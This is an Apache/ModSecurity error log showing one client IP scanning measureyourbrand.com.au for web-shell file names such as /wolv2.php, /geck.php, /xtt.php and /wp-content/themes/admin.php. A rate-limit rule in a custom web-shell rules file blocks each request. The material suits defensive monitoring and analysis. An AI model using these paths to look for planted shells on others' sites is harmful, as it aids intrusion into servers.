[Mon Apr 06 01:49:28.907499 2026] [:error] [pid 51753:tid 51823] [client 172.213.161.161:14601] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adKgqK3pmp1JkaicYbuVBwAAAQw"]
[Mon Apr 06 01:49:29.408328 2026] [:error] [pid 51753:tid 51817] [client 172.213.161.161:14605] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adKgqa3pmp1JkaicYbuVDQAAAQY"]
[Mon Apr 06 01:49:29.907357 2026] [:error] [pid 51581:tid 51680] [client 172.213.161.161:21087] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adKgqd4k74fhQLPUy7FMowAAAIs"]
[Mon Apr 06 01:49:30.419754 2026] [:error] [pid 51580:tid 51646] [client 172.213.161.161:10528] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adKgqlNFl1NiyNgNZAlARgAAAEc"]
[Mon Apr 06 01:49:31.112104 2026] [:error] [pid 51584:tid 51701] [client 172.213.161.161:14615] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "adKgq8Z4qY_GoNCPARAxzQAAAMQ"]
[Mon Apr 06 01:49:31.600182 2026] [:error] [pid 51753:tid 51827] [client 172.213.161.161:64201] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "adKgq63pmp1JkaicYbuVGwAAARA"]
[Mon Apr 06 01:49:32.108478 2026] [:error] [pid 51580:tid 51662] [client 172.213.161.161:9000] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "adKgrFNFl1NiyNgNZAlASwAAAFc"]
[Mon Apr 06 01:49:32.638821 2026] [:error] [pid 51584:tid 51713] [client 172.213.161.161:13533] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "adKgrMZ4qY_GoNCPARAx0wAAANA"]
[Mon Apr 06 01:49:33.154253 2026] [:error] [pid 51584:tid 51702] [client 172.213.161.161:12978] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adKgrcZ4qY_GoNCPARAx2QAAAMU"]
[Mon Apr 06 01:49:33.688933 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:34976] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adKgra3pmp1JkaicYbuVIgAAAQ8"]
[Mon Apr 06 01:49:34.154722 2026] [:error] [pid 51753:tid 51816] [client 172.213.161.161:10550] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adKgrq3pmp1JkaicYbuVJgAAAQU"]
[Mon Apr 06 01:49:34.751000 2026] [:error] [pid 51753:tid 51836] [client 172.213.161.161:34503] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adKgrq3pmp1JkaicYbuVLQAAARg"]
[Mon Apr 06 01:49:35.215748 2026] [:error] [pid 51753:tid 51813] [client 172.213.161.161:30794] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "adKgr63pmp1JkaicYbuVMAAAAQI"]
[Mon Apr 06 01:49:35.699795 2026] [:error] [pid 51581:tid 51691] [client 172.213.161.161:40484] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "adKgr94k74fhQLPUy7FMqQAAAJU"]
[Mon Apr 06 01:49:36.325815 2026] [:error] [pid 51580:tid 51657] [client 172.213.161.161:38798] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "adKgsFNFl1NiyNgNZAlAVgAAAFI"]
[Mon Apr 06 01:49:36.873202 2026] [:error] [pid 51581:tid 51675] [client 172.213.161.161:34965] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "adKgsN4k74fhQLPUy7FMrwAAAIY"]
[Mon Apr 06 01:49:37.429557 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:12956] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "adKgsa3pmp1JkaicYbuVNQAAAQ8"]
[Mon Apr 06 01:49:38.098456 2026] [:error] [pid 51580:tid 51658] [client 172.213.161.161:39247] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "adKgslNFl1NiyNgNZAlAWQAAAFM"]
[Mon Apr 06 01:49:38.644348 2026] [:error] [pid 51580:tid 51643] [client 172.213.161.161:21056] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "adKgslNFl1NiyNgNZAlAXQAAAEQ"]
[Mon Apr 06 01:49:39.188037 2026] [:error] [pid 51580:tid 51659] [client 172.213.161.161:13197] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "adKgs1NFl1NiyNgNZAlAXwAAAFQ"]
[Mon Apr 06 01:49:39.661108 2026] [:error] [pid 51581:tid 51684] [client 172.213.161.161:12945] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "adKgs94k74fhQLPUy7FMtAAAAI8"]
[Mon Apr 06 01:49:40.159958 2026] [:error] [pid 51580:tid 51645] [client 172.213.161.161:2573] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "adKgtFNFl1NiyNgNZAlAZAAAAEY"]
[Mon Apr 06 01:49:40.798050 2026] [:error] [pid 51584:tid 51705] [client 172.213.161.161:24968] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "adKgtMZ4qY_GoNCPARAx7wAAAMg"]
[Mon Apr 06 01:49:41.313539 2026] [:error] [pid 51753:tid 51818] [client 172.213.161.161:39245] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "adKgta3pmp1JkaicYbuVPAAAAQc"]
[Mon Apr 06 01:49:41.780423 2026] [:error] [pid 51581:tid 51685] [client 172.213.161.161:11095] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adKgtd4k74fhQLPUy7FMvAAAAJA"]
[Mon Apr 06 01:49:42.253203 2026] [:error] [pid 51584:tid 51720] [client 172.213.161.161:30765] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adKgtsZ4qY_GoNCPARAx-wAAANc"]
[Mon Apr 06 01:49:42.716806 2026] [:error] [pid 51581:tid 51692] [client 172.213.161.161:27633] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adKgtt4k74fhQLPUy7FMwAAAAJY"]
[Mon Apr 06 01:49:43.571583 2026] [:error] [pid 51753:tid 51829] [client 172.213.161.161:24966] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adKgt63pmp1JkaicYbuVQQAAARI"]
[Mon Apr 06 01:49:44.324034 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:13200] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "adKguK3pmp1JkaicYbuVSQAAAQ8"]
[Mon Apr 06 01:49:45.248476 2026] [:error] [pid 51753:tid 51823] [client 172.213.161.161:24964] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "adKgua3pmp1JkaicYbuVUAAAAQw"]
[Mon Apr 06 01:49:46.572072 2026] [:error] [pid 51580:tid 51646] [client 172.213.161.161:25000] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "adKgulNFl1NiyNgNZAlAbQAAAEc"]
[Mon Apr 06 01:49:47.717669 2026] [:error] [pid 51581:tid 51688] [client 172.213.161.161:17580] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "adKgu94k74fhQLPUy7FMzQAAAJM"]
[Mon Apr 06 01:49:48.988902 2026] [:error] [pid 51753:tid 51834] [client 172.213.161.161:8694] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "adKgvK3pmp1JkaicYbuVVQAAARY"]
[Mon Apr 06 01:49:49.926425 2026] [:error] [pid 51580:tid 51659] [client 172.213.161.161:33648] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "adKgvVNFl1NiyNgNZAlAewAAAFQ"]
[Mon Apr 06 01:49:50.860920 2026] [:error] [pid 51753:tid 51830] [client 172.213.161.161:14461] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "adKgvq3pmp1JkaicYbuVXQAAARM"]
[Mon Apr 06 01:49:52.043542 2026] [:error] [pid 51580:tid 51644] [client 172.213.161.161:7332] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "adKgwFNFl1NiyNgNZAlAgwAAAEU"]
[Mon Apr 06 01:49:53.430479 2026] [:error] [pid 51753:tid 51825] [client 172.213.161.161:15497] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "adKgwa3pmp1JkaicYbuVZwAAAQ4"]
[Mon Apr 06 01:49:54.177049 2026] [:error] [pid 51580:tid 51650] [client 172.213.161.161:17583] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "adKgwlNFl1NiyNgNZAlAiwAAAEs"]
[Mon Apr 06 01:49:55.177695 2026] [:error] [pid 51580:tid 51642] [client 172.213.161.161:33609] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "adKgw1NFl1NiyNgNZAlAkQAAAEM"]
[Mon Apr 06 01:49:56.339939 2026] [:error] [pid 51753:tid 51832] [client 172.213.161.161:33660] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "adKgxK3pmp1JkaicYbuVdAAAARU"]
[Mon Apr 06 01:49:58.015157 2026] [:error] [pid 51580:tid 51657] [client 172.213.161.161:10797] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "adKgxlNFl1NiyNgNZAlAmQAAAFI"]
[Mon Apr 06 01:49:58.950691 2026] [:error] [pid 51580:tid 51654] [client 172.213.161.161:38426] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "adKgxlNFl1NiyNgNZAlAnQAAAE8"]
[Mon Apr 06 01:49:59.638785 2026] [:error] [pid 51580:tid 51642] [client 172.213.161.161:13297] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "adKgx1NFl1NiyNgNZAlAoAAAAEM"]
[Mon Apr 06 01:50:00.424108 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:20489] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "adKgyK3pmp1JkaicYbuVfAAAAQ0"]
[Mon Apr 06 01:50:01.403011 2026] [:error] [pid 51584:tid 51703] [client 172.213.161.161:13288] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media.php"] [unique_id "adKgycZ4qY_GoNCPARAyIgAAAMY"]
[Mon Apr 06 01:50:02.183423 2026] [:error] [pid 51581:tid 51676] [client 172.213.161.161:15488] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media.php"] [unique_id "adKgyt4k74fhQLPUy7FM4wAAAIc"]
[Mon Apr 06 01:50:02.658825 2026] [:error] [pid 51753:tid 51816] [client 172.213.161.161:38445] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media.php"] [unique_id "adKgyq3pmp1JkaicYbuVgQAAAQU"]
[Mon Apr 06 01:50:03.138037 2026] [:error] [pid 51753:tid 51831] [client 172.213.161.161:15494] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media.php"] [unique_id "adKgy63pmp1JkaicYbuVgwAAARQ"]
[Mon Apr 06 01:50:04.021269 2026] [:error] [pid 51584:tid 51711] [client 172.213.161.161:8916] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adKgzMZ4qY_GoNCPARAyKQAAAM4"]
[Mon Apr 06 01:50:04.530256 2026] [:error] [pid 51581:tid 51686] [client 172.213.161.161:63468] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adKgzN4k74fhQLPUy7FM6gAAAJE"]
[Mon Apr 06 01:50:05.179675 2026] [:error] [pid 51581:tid 51679] [client 172.213.161.161:8669] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adKgzd4k74fhQLPUy7FM7QAAAIo"]
[Mon Apr 06 01:50:05.948624 2026] [:error] [pid 51753:tid 51834] [client 172.213.161.161:7263] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adKgza3pmp1JkaicYbuVjQAAARY"]
[Mon Apr 06 01:50:06.479490 2026] [:error] [pid 51581:tid 51670] [client 172.213.161.161:63485] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "adKgzt4k74fhQLPUy7FM8gAAAIE"]
[Mon Apr 06 01:50:07.177958 2026] [:error] [pid 51584:tid 51709] [client 172.213.161.161:26567] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "adKgz8Z4qY_GoNCPARAyOQAAAMw"]
[Mon Apr 06 01:50:07.842101 2026] [:error] [pid 51584:tid 51707] [client 172.213.161.161:12992] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "adKgz8Z4qY_GoNCPARAyPgAAAMo"]
[Mon Apr 06 01:50:08.561827 2026] [:error] [pid 51584:tid 51721] [client 172.213.161.161:9168] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "adKg0MZ4qY_GoNCPARAyPwAAANg"]
